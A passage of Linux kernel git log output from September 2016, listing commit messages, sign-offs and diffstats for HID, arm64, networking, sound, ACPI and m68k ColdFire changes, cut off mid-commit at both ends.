in their HID stream. This includes DF, MOMO, MOMO2 and DFP. Signed-off-by: Simon Wood Signed-off-by: Jiri Kosina drivers/hid/hid-lg.c | 12 ++++++++++++ drivers/hid/hid-lg4ff.c | 32 ++++++++++++++++++++++++++++++++ drivers/hid/hid-lg4ff.h | 4 ++++ 3 files changed, 48 insertions(+) commit 961af46f8e2c7bf793352c11262fb37e87706921 Author: Simon Wood Date: Sun Sep 18 10:55:37 2016 -0600 HID: hid-logitech: Introduce control for combined pedals feature Introduce a dev_attr which can be used to combine the accelerator and brake pedals into a single axis. This is useful for older games which can not handle seperate accelerator and brake. Signed-off-by: Simon Wood Signed-off-by: Jiri Kosina .../ABI/testing/sysfs-driver-hid-logitech-lg4ff | 9 ++++ drivers/hid/hid-lg4ff.c | 58 ++++++++++++++++++++++ 2 files changed, 67 insertions(+) commit c4425c8f26aad2b49c5959fad277c9d109fb8ca3 Author: Frank Praznik Date: Thu Sep 22 20:18:10 2016 -0400 HID: sony: Update copyright and add Dualshock 4 rate control note Update the copyright notice with the current year and add a note about values for controlling the Dualshock 4 reporting rate. Processing reports at the default full rate of 1000hz can be too demanding for some low-power embedded processors so noting alternate values for people working with this hardware can be useful. Thanks to Rostislav Pehlivanov for finding these values. Signed-off-by: Frank Praznik Signed-off-by: Jiri Kosina drivers/hid/hid-sony.c | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) commit 2a2429327711558aa23fd73d770b6fd5e0d10de7 Author: Frank Praznik Date: Thu Sep 22 20:18:09 2016 -0400 HID: sony: Defer the initial USB Sixaxis output report When initially connected via USB the Sixaxis isn't fully initialized until the PS logo button is pressed and won't send any input reports nor will any state set by output reports be retained. This adds a 'defer_initialization' flag to the sony_sc struct which, when set, will delay sending any output reports until the first input report has arrived. This flag is used with the USB Sixaxis to ensure that any state sent will persist since, until the PS button is pushed, any changes sent to the controller via an output report will be lost after a couple of seconds. The initial state of the controller is still configured at the time of the initial connection and won't be internally modified after that, so any state set by the user between that time and the recepit of the first input report won't be lost. Signed-off-by: Frank Praznik Signed-off-by: Jiri Kosina drivers/hid/hid-sony.c | 29 +++++++++++++++++++++++++---- 1 file changed, 25 insertions(+), 4 deletions(-) commit 0f3982308b5fc7373c8d4e6dcfc8a02ee5a3408d Author: Frank Praznik Date: Thu Sep 22 20:18:08 2016 -0400 HID: sony: Relax duplicate checking for USB-only devices Some USB-only devices which masquerade as Sixaxis controllers report the same generic Bluetooth address for all hardware when queried via the HID report. This causes these devices to be wrongly rejected as duplicates when more than one is connected at once. This introduces a connection type comparison when checking for duplicates and only rejects the newly connected device if the existing matching device is connected using a different connection protocol. The results of the connection type comparison are also used when registering power supply info as the device Bluetooth address is used as the unique identifier string. In cases where more than one valid device has the same Bluetooth address the device ID is now appended to the power supply name string to avoid name collisions when registering the power supply information. Signed-off-by: Frank Praznik Signed-off-by: Jiri Kosina drivers/hid/hid-sony.c | 40 ++++++++++++++++++++++++++++++++-------- 1 file changed, 32 insertions(+), 8 deletions(-) commit 0c2a6cce1776ed041b71a305edcb7d89923743e1 Author: Kefeng Wang Date: Mon Sep 26 15:36:50 2016 +0800 arm64: Kconfig: select OF/ACPI_NUMA under NUMA config Move OF_NUMA select under NUMA config, and select ACPI_NUMA when ACPI enabled. Signed-off-by: Kefeng Wang Signed-off-by: Will Deacon arch/arm64/Kconfig | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit b5e7307d9d5a340d2c9fabbe1cee137d4c682c71 Author: Mark Rutland Date: Fri Sep 23 17:55:05 2016 +0100 arm64: fix dump_backtrace/unwind_frame with NULL tsk In some places, dump_backtrace() is called with a NULL tsk parameter, e.g. in bug_handler() in arch/arm64, or indirectly via show_stack() in core code. The expectation is that this is treated as if current were passed instead of NULL. Similar is true of unwind_frame(). Commit a80a0eb70c358f8c ("arm64: make irq_stack_ptr more robust") didn't take this into account. In dump_backtrace() it compares tsk against current *before* we check if tsk is NULL, and in unwind_frame() we never set tsk if it is NULL. Due to this, we won't initialise irq_stack_ptr in either function. In dump_backtrace() this results in calling dump_mem() for memory immediately above the IRQ stack range, rather than for the relevant range on the task stack. In unwind_frame we'll reject unwinding frames on the IRQ stack. In either case this results in incomplete or misleading backtrace information, but is not otherwise problematic. The initial percpu areas (including the IRQ stacks) are allocated in the linear map, and dump_mem uses __get_user(), so we shouldn't access anything with side-effects, and will handle holes safely. This patch fixes the issue by having both functions handle the NULL tsk case before doing anything else with tsk. Signed-off-by: Mark Rutland Fixes: a80a0eb70c358f8c ("arm64: make irq_stack_ptr more robust") Acked-by: James Morse Cc: Catalin Marinas Cc: Will Deacon Cc: Yang Shi Signed-off-by: Will Deacon arch/arm64/kernel/stacktrace.c | 5 ++++- arch/arm64/kernel/traps.c | 10 +++++----- 2 files changed, 9 insertions(+), 6 deletions(-) commit a4ee4545932d4b26ec0c190f2ce265de79990c7a Author: Dave Gerlach Date: Fri Sep 23 15:07:47 2016 -0500 PM / OPP: Don't support OPP if it provides supported-hw but platform does not The OPP framework allows each OPP to set a opp-supported-hw property which provides values that are matched against supported_hw values provided by the platform to limit support for certain OPPs on specific hardware. Currently, if the platform does not set supported_hw values, all OPPs are interpreted as supported, even if they have provided their own opp-supported-hw values. If an OPP has provided opp-supported-hw, it is indicating that there is some specific hardware configuration it is supported by. These constraints should be honored, and if no supported_hw has been provided by the platform, there is no way to determine if that OPP is actually supported, so it should be marked as not supported. Signed-off-by: Dave Gerlach Acked-by: Viresh Kumar Signed-off-by: Rafael J. Wysocki drivers/base/power/opp/of.c | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) commit 9ad0a1b6a21fbfa0b308e704fd924836f7ae4458 Author: Colin Ian King Date: Sun Sep 25 14:40:13 2016 -0700 cpufreq: st: add missing \n to end of dev_err message Trival fix, dev_err message is missing a \n, so add it. Signed-off-by: Colin Ian King Acked-by: Viresh Kumar Signed-off-by: Rafael J. Wysocki drivers/cpufreq/sti-cpufreq.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4c232f94693a1d9cde4867b938830c361313eda7 Author: Colin Ian King Date: Sun Sep 25 14:35:43 2016 -0700 cpufreq: kirkwood: add missing \n to end of dev_err messages Trival fix, dev_err messages are missing a \n, so add it. Signed-off-by: Colin Ian King Acked-by: Viresh Kumar Signed-off-by: Rafael J. Wysocki drivers/cpufreq/kirkwood-cpufreq.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 1ef356681ef412abfd93d1c36f15917a126833f5 Author: Lv Zheng Date: Fri Sep 23 11:26:49 2016 +0800 ACPI / bus: Adjust ACPI subsystem initialization for new table loading mode This patch enables the following initialization order for the new table loading mode (which is enabled by setting acpi_gbl_parse_table_as_term_list to TRUE): 1. Install default region handlers (SystemMemory, SystemIo, PciConfig, EmbeddedControl via ECDT) without evaluating _REG; 2. Load the table and execute the module level AML opcodes instantly. Signed-off-by: Lv Zheng [ rjw: Subject ] Signed-off-by: Rafael J. Wysocki drivers/acpi/bus.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit f42106fe65e32bc0c2a50fe47819c4b658f9c4d7 Merge: daae45c 7a0b71d Author: Rafael J. Wysocki Date: Mon Sep 26 14:44:12 2016 +0200 Merge branch 'acpica' into acpi-bus commit 52dc085a50c6b4b8143087ce194d0b193cb3662d Author: Michel Hermier Date: Tue Sep 20 19:50:51 2016 +0200 Revert "HID: microsoft: fix invalid rdesc for 3k kbd" This reverts commit 3ccc60f9d8c39180c205dba1a020735bda1b2491. While investigating bug https://bugzilla.kernel.org/show_bug.cgi?id=37982 , there was solid evidences that Microsoft reused the same report descriptor for the its Digital Media keyboard series. Since 1989dad "HID: input: ignore System Control application usages if not System Controls", the keyboard series do not produce a spurious joystick input device inode without needing to patch the problematic report descriptor. As such the MS_RDESC_3K reportdescriptor fixup can be removed. Signed-off-by: Michel Hermier Signed-off-by: Jiri Kosina drivers/hid/hid-microsoft.c | 10 +--------- 1 file changed, 1 insertion(+), 9 deletions(-) commit 9c95fd662a7e7d778bd0b92c5cf8c5f815bd9a06 Merge: 80ba4f1 0979a91 Author: Kalle Valo Date: Mon Sep 26 14:10:31 2016 +0300 Merge tag 'iwlwifi-next-for-kalle-2016-09-19-2' of git://git.kernel.org/pub/scm/linux/kernel/git/iwlwifi/iwlwifi-next * added support for MU-MIMO sniffer * added support for RRM by scan * added support for packet injection * migrate to devm memory allocation handling * some fixes, mostly in DQA and new HW support * other generic cleanups commit b199ac6c4943aa0db246163bf6b483e2bb53431b Author: Borislav Petkov Date: Mon Sep 26 10:31:52 2016 +0200 x86/RAS/mce_amd_inj: Remove debugfs dir recursively on exit Simplify exit_mce_inject() by using debugfs_remove_recursive() and do away with the noodling over the dentry elements. Signed-off-by: Borislav Petkov Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/20160926083152.30848-3-bp@alien8.de Signed-off-by: Ingo Molnar arch/x86/ras/mce_amd_inj.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit 8b44f00f8c952ab6eb658090383571b2ec7d253f Author: Colin Ian King Date: Mon Sep 26 10:31:51 2016 +0200 x86/RAS/mce_amd_inj: Fix signed wrap around when decrementing index 'i' Change predecrement compare to post decrement compare to avoid an unsigned integer wrap-around comparisomn when decrementing in the while loop. For example, if the debugfs_create_file() fails when 'i' is zero, the current situation will predecrement 'i' in the while loop, wrapping 'i' to the maximum signed integer and cause multiple out of bounds reads on dfs_fls[i].d as the loop interates to zero. Also, as Borislav Petkov suggested, return -ENODEV rather than -ENOMEM on the error condition. Signed-off-by: Colin Ian King Signed-off-by: Borislav Petkov Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: Yazen Ghannam Link: http://lkml.kernel.org/r/20160926083152.30848-2-bp@alien8.de Signed-off-by: Ingo Molnar arch/x86/ras/mce_amd_inj.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 6fae257f0b294d7abe7adfb08277bfd5472ed717 Merge: 7cc4ef8 08895a8 Author: Ingo Molnar Date: Mon Sep 26 11:12:45 2016 +0200 Merge tag 'v4.8-rc8' into ras/core, to pick up fixes Signed-off-by: Ingo Molnar commit 8564e38206de2ff005a27c8d7c2ce3869a44f0dd Author: Johannes Berg Date: Mon Sep 19 09:44:44 2016 +0200 cfg80211: add checks for beacon rate, extend to mesh The previous commit added support for specifying the beacon rate for AP mode. Add features checks to this, and extend it to also support the rate configuration for mesh networks. For IBSS it's not as simple due to joining etc., so that's not yet supported. Signed-off-by: Johannes Berg include/net/cfg80211.h | 4 +++- include/uapi/linux/nl80211.h | 17 +++++++++++++++- net/wireless/nl80211.c | 46 +++++++++++++++++++++++++++++++++----------- 3 files changed, 54 insertions(+), 13 deletions(-) commit a7c7fbff6a408d00431c705bbe3dfc5f51e3f1c4 Author: Purushottam Kushwaha Date: Wed Sep 14 17:38:44 2016 +0530 cfg80211: Add support to configure a beacon data rate This allows an option to configure a single beacon tx rate for an AP. Signed-off-by: Purushottam Kushwaha Signed-off-by: Johannes Berg include/net/cfg80211.h | 25 +-- net/wireless/nl80211.c | 510 ++++++++++++++++++++++++++++--------------------- 2 files changed, 302 insertions(+), 233 deletions(-) commit 392c9da24a994f238c5d7ea611c6245be4617014 Author: Hui Wang Date: Mon Sep 26 10:59:38 2016 +0800 ALSA: hda - Adding one more ALC255 pin definition for headset problem We have two new Dell laptop models, they have the same ALC255 pin definition, but not in the pin quirk table yet, as a result, the headset microphone can't work. After adding the definition in the table, the headset microphone works well. Cc: Signed-off-by: Hui Wang Signed-off-by: Takashi Iwai sound/pci/hda/patch_realtek.c | 4 ++++ 1 file changed, 4 insertions(+) commit b47c62c5de2bc43a26bcaca8d7a93bf9dee66ffe Author: Arnd Bergmann Date: Fri Sep 23 22:23:59 2016 +0200 nfp: bpf: improve handling for disabled BPF syscall I stumbled over a new warning during randconfig testing, with CONFIG_BPF_SYSCALL disabled: drivers/net/ethernet/netronome/nfp/nfp_net_offload.c: In function 'nfp_net_bpf_offload': drivers/net/ethernet/netronome/nfp/nfp_net_offload.c:263:3: error: '*((void *)&res+4)' may be used uninitialized in this function [-Werror=maybe-uninitialized] drivers/net/ethernet/netronome/nfp/nfp_net_offload.c:263:3: error: 'res.n_instr' may be used uninitialized in this function [-Werror=maybe-uninitialized] As far as I can tell, this is a false positive caused by the compiler getting confused about a function that is partially inlined, but it's easy to avoid while improving the code: The nfp_bpf_jit() stub helper for that configuration is unusual as it is defined in a header file but not marked 'static inline'. By moving the compile-time check into the caller using the IS_ENABLED() macro, we can remove that stub and simplify the nfp_net_bpf_offload_prepare() function enough to unconfuse the compiler. Fixes: 7533fdc0f77f ("nfp: bpf: add hardware bpf offload") Signed-off-by: Arnd Bergmann Acked-by: Jakub Kicinski Signed-off-by: David S. Miller drivers/net/ethernet/netronome/nfp/nfp_bpf.h | 10 ---------- drivers/net/ethernet/netronome/nfp/nfp_net_offload.c | 3 +++ 2 files changed, 3 insertions(+), 10 deletions(-) commit e2072600a24161b7ddcfb26814f69f5fbc8ef85a Author: Baoyou Xie Date: Sun Sep 25 14:23:15 2016 +0800 net: bcmgenet: remove unused function in bcmgenet.c We get 1 warning when building kernel with W=1: drivers/net/ethernet/broadcom/genet/bcmgenet.c:2763:5: warning: no previous prototype for 'bcmgenet_hfb_add_filter' [-Wmissing-prototypes] In fact, this function is implemented in drivers/net/ethernet/broadcom/genet/bcmgenet.c, but be called by no one, thus can be removed. So this patch removes the unused functions. Signed-off-by: Baoyou Xie Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/genet/bcmgenet.c | 122 ------------------------- 1 file changed, 122 deletions(-) commit 50935857f878c014d92be49cbf651bcfbfdacdc0 Author: Baoyou Xie Date: Sun Sep 25 14:10:09 2016 +0800 cxgb4: mark symbols static where possible We get 10 warnings when building kernel with W=1: drivers/net/ethernet/chelsio/cxgb4/cxgb4_main.c:304:5: warning: no previous prototype for 'cxgb4_dcb_enabled' [-Wmissing-prototypes] drivers/net/ethernet/chelsio/cxgb4/cxgb4_uld.c:194:5: warning: no previous prototype for 'setup_sge_queues_uld' [-Wmissing-prototypes] drivers/net/ethernet/chelsio/cxgb4/cxgb4_uld.c:241:6: warning: no previous prototype for 'free_sge_queues_uld' [-Wmissing-prototypes] drivers/net/ethernet/chelsio/cxgb4/cxgb4_uld.c:268:5: warning: no previous prototype for 'cfg_queues_uld' [-Wmissing-prototypes] drivers/net/ethernet/chelsio/cxgb4/cxgb4_uld.c:344:6: warning: no previous prototype for 'free_queues_uld' [-Wmissing-prototypes] drivers/net/ethernet/chelsio/cxgb4/cxgb4_uld.c:353:5: warning: no previous prototype for 'request_msix_queue_irqs_uld' [-Wmissing-prototypes] drivers/net/ethernet/chelsio/cxgb4/cxgb4_uld.c:379:6: warning: no previous prototype for 'free_msix_queue_irqs_uld' [-Wmissing-prototypes] drivers/net/ethernet/chelsio/cxgb4/cxgb4_uld.c:393:6: warning: no previous prototype for 'name_msix_vecs_uld' [-Wmissing-prototypes] drivers/net/ethernet/chelsio/cxgb4/cxgb4_uld.c:433:6: warning: no previous prototype for 'enable_rx_uld' [-Wmissing-prototypes] drivers/net/ethernet/chelsio/cxgb4/cxgb4_uld.c:442:6: warning: no previous prototype for 'quiesce_rx_uld' [-Wmissing-prototypes] In fact, these functions are only used in the file in which they are declared and don't need a declaration, but can be made static. so this patch marks these functions with 'static'. Signed-off-by: Baoyou Xie Signed-off-by: David S. Miller drivers/net/ethernet/chelsio/cxgb4/cxgb4_main.c | 2 +- drivers/net/ethernet/chelsio/cxgb4/cxgb4_uld.c | 23 +++++++++++++---------- 2 files changed, 14 insertions(+), 11 deletions(-) commit 2dc0d2b45289c880130fe0c54ec684947d407786 Author: Baoyou Xie Date: Sun Sep 25 17:20:41 2016 +0800 net: mvneta: mark symbols static where possible We get 2 warnings when building kernel with W=1: drivers/net/ethernet/marvell/mvneta.c:639:27: warning: no previous prototype for 'mvneta_get_stats64' [-Wmissing-prototypes] drivers/net/ethernet/marvell/mvneta.c:3529:5: warning: no previous prototype for 'mvneta_ethtool_set_link_ksettings' [-Wmissing-prototypes] In fact, these two functions are only used in the file in which they are declared and don't need a declaration, but can be made static. so this patch marks these functions with 'static'. Signed-off-by: Baoyou Xie Signed-off-by: David S. Miller drivers/net/ethernet/marvell/mvneta.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 49e3e6f34d6a00c7725eb42a2b78ee1612bdcac9 Author: Baoyou Xie Date: Sun Sep 25 17:19:04 2016 +0800 net: hip04: mark tx_done() static We get 1 warning when building kernel with W=1: drivers/net/ethernet/hisilicon/hip04_eth.c:603:22: warning: no previous prototype for 'tx_done' [-Wmissing-prototypes] In fact, this function is only used in the file in which it is declared and don't need a declaration, but can be made static. so this patch marks this function with 'static'. Signed-off-by: Baoyou Xie Signed-off-by: David S. Miller drivers/net/ethernet/hisilicon/hip04_eth.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ecdad234755368e1beaa317e930387ea37eff881 Author: Baoyou Xie Date: Sun Sep 25 17:16:44 2016 +0800 net: hisilicon: mark symbols static where possible We get 2 warnings when building kernel with W=1: drivers/net/ethernet/hisilicon/hisi_femac.c:943:5: warning: no previous prototype for 'hisi_femac_drv_suspend' [-Wmissing-prototypes] drivers/net/ethernet/hisilicon/hisi_femac.c:960:5: warning: no previous prototype for 'hisi_femac_drv_resume' [-Wmissing-prototypes] In fact, these two functions are only used in the file in which they are declared and don't need a declaration, but can be made static. so this patch marks these functions with 'static'. Signed-off-by: Baoyou Xie Signed-off-by: David S. Miller drivers/net/ethernet/hisilicon/hisi_femac.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 71527eb2be7ccf75413f8981f5680f56d339eedb Merge: b3f5bf6 0565069 Author: David S. Miller Date: Sun Sep 25 23:52:22 2016 -0400 Merge branch 'for-upstream' of git://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next Johan Hedberg says: ==================== pull request: bluetooth-next 2016-09-25 Here are a few more Bluetooth & 802.15.4 patches for the 4.9 kernel that have popped up during the past week: - New USB ID for QCA_ROME Bluetooth device - NULL pointer dereference fix for Bluetooth mgmt sockets - Fixes for BCSP driver - Fix for updating LE scan response Please let me know if there are any issues pulling. Thanks. ==================== Signed-off-by: David S. Miller commit b3f5bf64d8dbbb08685b91ee4576d2e82e7bd60f Author: Wei Yongjun Date: Sun Sep 25 15:43:02 2016 +0000 net: dsa: mv88e6xxx: fix non static symbol warnings Fixes the following sparse warnings: drivers/net/dsa/mv88e6xxx/chip.c:219:5: warning: symbol 'mv88e6xxx_port_read' was not declared. Should it be static? drivers/net/dsa/mv88e6xxx/chip.c:227:5: warning: symbol 'mv88e6xxx_port_write' was not declared. Should it be static? Signed-off-by: Wei Yongjun Reviewed-by: Vivien Didelot Signed-off-by: David S. Miller drivers/net/dsa/mv88e6xxx/chip.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit e6053dd56a022d2ef754e46b4a9836c65f1dc434 Author: Wei Yongjun Date: Sun Sep 25 15:40:36 2016 +0000 be2net: fix non static symbol warnings Fixes the following sparse warnings: drivers/net/ethernet/emulex/benet/be_main.c:47:25: warning: symbol 'be_err_recovery_workq' was not declared. Should it be static? drivers/net/ethernet/emulex/benet/be_main.c:63:25: warning: symbol 'be_wq' was not declared. Should it be static? Signed-off-by: Wei Yongjun Signed-off-by: David S. Miller drivers/net/ethernet/emulex/benet/be_main.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 876a55b8e255702d2c406872fd791817a3c98bd1 Author: Robert Jarzmik Date: Sun Sep 25 23:00:45 2016 +0200 net: smc91x: take into account register shift This aligns smc91x with its cousin, namely smc911x.c. This also allows the driver to run also in a device-tree based lubbock board build, on which it was tested. Signed-off-by: Robert Jarzmik Signed-off-by: David S. Miller drivers/net/ethernet/smsc/smc91x.c | 3 +++ 1 file changed, 3 insertions(+) commit 1cb1860d9133ff795cac640b9af4569a2668b45e Author: Colin Ian King Date: Sun Sep 25 14:14:45 2016 -0700 cxgb4: fix -ve error check on a signed iq iq is unsigned, so the error check for iq < 0 has no effect so errors can slip past this check. Fix this by making iq signed and also get_filter_steerq return a signed int so a -ve error can be returned. Signed-off-by: Colin Ian King Signed-off-by: David S. Miller drivers/net/ethernet/chelsio/cxgb4/cxgb4_filter.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 742859adc721da65ff4e8b59412d73bd3d2a57fe Author: Masahiro Yamada Date: Mon Sep 19 03:01:14 2016 +0900 m68k: let clk_disable() return immediately if clk is NULL In many of clk_disable() implementations, it is a no-op for a NULL pointer input, but this is one of the exceptions. Making it treewide consistent will allow clock consumers to call clk_disable() without NULL pointer check. Signed-off-by: Masahiro Yamada Signed-off-by: Greg Ungerer arch/m68k/coldfire/clk.c | 4 ++++ 1 file changed, 4 insertions(+) commit 3ec53d6fceedbe0a5af0bb7dcb42e82dabd795d3 Author: Greg Ungerer Date: Fri Sep 9 17:01:06 2016 +1000 m68knommu: convert printk(KERN_INFO) to pr_info() The old style use of printk(KERN_INFO) is depracated. Convert use of it in setup_no.c to the modern pr_info(). Signed-off-by: Greg Ungerer arch/m68k/kernel/setup_no.c | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) commit 150cefbbee2996d9c9c8557d137cef5d974f009f Author: Greg Ungerer Date: Mon Sep 5 15:33:50 2016 +1000 m68knommu: clean up uClinux boot log output During the arch setup phase of kernel boot we print out in the boot banner that we are uClinux configured. The printk currently contains a bunch of useless newlines and carriage returns - producing wastefull empty lines. Remove these. Signed-off-by: Greg Ungerer arch/m68k/kernel/setup_no.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit aa5ac789bd96c7a6628a8167de562fa660f1f481 Author: Greg Ungerer Date: Mon Sep 5 15:23:50 2016 +1000 m68k: generalize uboot command line support The uboot command line support needs to be used by both MMU and no-MMU setups, but currently we only have the code in the no-MMU code paths. Move the uboot command line processing code into its own file. Add appropriate calls to it from both the MMU and no-MMU arch setup code. Signed-off-by: Greg Ungerer Acked-by: Geert Uytterhoeven arch/m68k/include/asm/bootinfo.h | 6 +++ arch/m68k/kernel/Makefile | 1 + arch/m68k/kernel/setup_mm.c | 1 + arch/m68k/kernel/setup_no.c | 81 +---------------------------- arch/m68k/kernel/uboot.c | 107 +++++++++++++++++++++++++++++++++++++++ 5 files changed, 117 insertions(+), 79 deletions(-) commit 2a744007c332f9d604b95aaecb106596c52ab001 Author: Greg Ungerer Date: Mon Aug 29 17:12:32 2016 +1000 m68k: don't panic if no hardware FPU defined If we boot up and find no hardware FPU we panic and die. Change this behavior to be that if we boot up and we _expect_ a hardware FPU to be present then panic. Don't panic if we don't actually expect to have any hardware FPU. This lets us compile a kernel without FPU if we really choose too. Signed-off-by: Greg Ungerer arch/m68k/kernel/setup_mm.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6d3ec8056208a799abd5ff434cbfc4db2be38140 Author: Greg Ungerer Date: Mon Aug 29 17:01:24 2016 +1000 m68k: only generate FPU instructions if CONFIG_FPU enabled Most of the m68k code that supports a hardware FPU is surrounded by CONFIG_FPU. Be consistent and surround the hardware FPU instruction setup in setup_mm.c with CONFIG_FPU as well as the check for CONFIG_M68KFPU_EMU_ONLY. The existing classic m68k architectures all define CONFIG_FPU, so they see no change from this. But on ColdFire where we do not support the emulated FP code we can now compile without CONFIG_FPU being set as well. Signed-off-by: Greg Ungerer arch/m68k/kernel/setup_mm.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8912eaccb981fd7c2624cbfd56c47c1f6f051420 Author: Greg Ungerer Date: Mon Aug 29 16:43:51 2016 +1000 m68k: always make available dump_fpu() Our local m68k architecture dump_fpu() is conditionally compiled in on CONFIG_FPU. That is OK for all existing MMU enabled CPU types, but won't handle the case for some ColdFire SoC CPU parts that we want to support that have no FPU hardware. dump_fpu() is expected to be present by the ELF loader, so we must always have it available and exported. Remove the conditional and reorganize the dump_fpu hard FPU code path to let the compiler remove code when not needed. This change based on changes and discussion from Yannick Gicquel . Signed-off-by: Greg Ungerer arch/m68k/kernel/process.c | 56 +++++++++++++++++++++++----------------------- 1 file changed, 28 insertions(+), 28 deletions(-) commit 8cf4a973b47d69227b8ad31d41e4054c59de4dcc Author: Greg Ungerer Date: Fri Aug 26 15:59:30 2016 +1000 m68k: generalize io memory region setup for ColdFire ACR registers The ACR registers of the ColdFire define at a macro level what regions of the addresses space should have caching or other attribute types applied. Currently for the MMU enabled setups we map the interal IO peripheral addres space as uncachable based on the define for the MBAR address (CONFIG_MBAR). Not all ColdFire SoC use a programmable MBAR register address. Some parts have fixed addressing for their internal peripheral registers. Generalize the way we get the internal peripheral base address so all types can be accomodated in the ACR definitions. Each ColdFire SoC type now sets its IO memory base and size definitions (which may be based on MBAR) which are then used in the ACR definitions. Signed-off-by: Greg Ungerer arch/m68k/include/asm/m5441xsim.h | 2 ++ arch/m68k/include/asm/m54xxacr.h | 2 +- arch/m68k/include/asm/m54xxsim.h | 2 ++ 3 files changed, 5 insertions(+), 1 deletion(-) commit f71160655d1efda10081482c486481f2108abca5 Author: Greg Ungerer Date: Fri Aug 26 14:24:27 2016 +1000 m68k: move ColdFire _bootmem_alloc code The early ColdFire bootmem_alloc() code is currently only included in the board support for the Coldire 54xx platforms. It will be used on all ColdFire MMU enabled platforms as others are supported. So move the mcf54xx_bootmem_alloc() function to be generally available to all MMU enabled ColdFire parts (and use a more generic name for it). Signed-off-by: Greg Ungerer arch/m68k/coldfire/m54xx.c | 40 +--------------------------------------- arch/m68k/include/asm/mcfmmu.h | 1 + arch/m68k/mm/mcfmmu.c | 31 ++++++++++++++++++++++++++++++- 3 files changed, 32 insertions(+), 40 deletions(-) commit cbd5b982f6a1540ebb0144774d64381e7b2d39fd Author: Greg Ungerer Date: Thu Aug 25 23:12:22 2016 +1000 m68k: report correct FPU type on ColdFire MMU platforms Not all ColdFire SoC parts that have an MMU also have an FPU - so set an FPU type (via m68k_fputype) appropriate for the configured platform. With this set correctly /proc/cpuinfo will report FPU "none" on devices that don't have one. And kernel code paths that initialize FPU hardware will now only execute if an FPU is actually present. Signed-off-by: Greg Ungerer arch/m68k/coldfire/head.S | 4 ++-- arch/m68k/include/asm/m5441xsim.h | 1 + arch/m68k/include/asm/m54xxsim.h | 1 + 3 files changed, 4 insertions(+), 2 deletions(-) commit 81d33350bab8b6889ac0f9c98bce58128be1c72d Author: Greg Ungerer Date: Thu Aug 25 23:10:59 2016 +1000 m68k: set appropriate machine type for m5411x SoC platforms Create a new machine type for platforms based around the ColdFire 5441x SoC family. Set that machine type on startup when building for this platform type. Currently the ColdFire head.S hard codes a M54xx machine type at startup - since that is the only platform type currently supported with MMU enabled. The m5441x has an MMU and this change forms part of the support required to run it with the MMU enabled. Signed-off-by: Greg Ungerer arch/m68k/coldfire/head.S | 4 ++-- arch/m68k/include/asm/m5441xsim.h | 1 + arch/m68k/include/asm/m54xxsim.h | 1 + arch/m68k/include/uapi/asm/bootinfo.h | 1 + arch/m68k/kernel/setup_mm.c | 1 + 5 files changed, 6 insertions(+), 2 deletions(-) commit e5f8d1f0a13dc8129bf8a0a3d715feabb0ce8c5e Author: Greg Ungerer Date: Wed Aug 24 13:32:01 2016 +1000 m68k: move CONFIG_FPU set to per-CPU configuration Move the selection of CONFIG_FPU to each CPU type configuration. Currently for m68k we have a global set of CONFIG_FPU based on if CONFIG_MMU is enabled or not. There is at least one CPU family we support (m5441x) that has an MMU but has no FPU hardware. So we need to be able to have CONFIG_MMU set and CONFIG_FPU not set. Whether we build for a CPU with MMU enabled or not doesn't change the fact that it has FPU hardware support. Our current non-MMU builds have never had CONIG_FPU enabled - and in fact the kernel will not compile with that set and CONFIG_MMU not set at the moment. It is easy enough to fix this - but it would involve a structure change to sigcontext.h, and that is a user space exported header (so ABI change). This change makes no configuration visible changes, and all configs end up with the same configuration settings as before. This change based on changes and discussion from Yannick Gicquel . Signed-off-by: Greg Ungerer arch/m68k/Kconfig | 1 - arch/m68k/Kconfig.cpu | 6 ++++++ 2 files changed, 6 insertions(+), 1 deletion(-) commit 36d050d913333ea21e9728cbbc1fc07ae5be8d6c Author: Greg Ungerer Date: Tue Aug 23 21:46:06 2016 +1000 m68knommu: fix IO write size in nettel pin set The pin write code that supports the UART signals is not using he correct word write IO access method. It correctly reads the correct 16 bit registrer, it should also write the new value back with a 16 bit write. Fix it to use writew(). Signed-off-by: Greg Ungerer arch/m68k/include/asm/nettel.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 41b39ea19087ca91729972d6497af7fdfaef7449 Author: Greg Ungerer Date: Tue Aug 23 21:27:16 2016 +1000 m68knommu: switch to using IO access methods in WildFire board code Most ColdFire support code has switched to using IO memory access methods (readb/writeb/etc) when reading and writing internal peripheral device registers. The WildFire board specific halt code was missed. As it is now the WildFire code is broken, since all register definitions were changed to be register addresses only some time ago. Fix the WildFire board code to use the appropriate IO access functions. Signed-off-by: Greg Ungerer arch/m68k/coldfire/m528x.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit bc065e4784beefdead3e62c31fa5ff7fbb1d7f9e Author: Greg Ungerer Date: Tue Aug 23 16:29:43 2016 +1000 m68knommu: fix early setup to not access variables The early setup code for the ColdFire 53xx platform accesses variables before the RAM and other system initialization steps may have taken place. Currently it has 2 global variables that will end up in the bss section that are accessed during this early setup. There is a special static RAM stack setup at this time, but not necessarily the RAM where kernel data sections will end up. Even on system setups where RAM is setup by a boot loader the access to the early setup variables is before the BSS section has been initialized. This can potentially 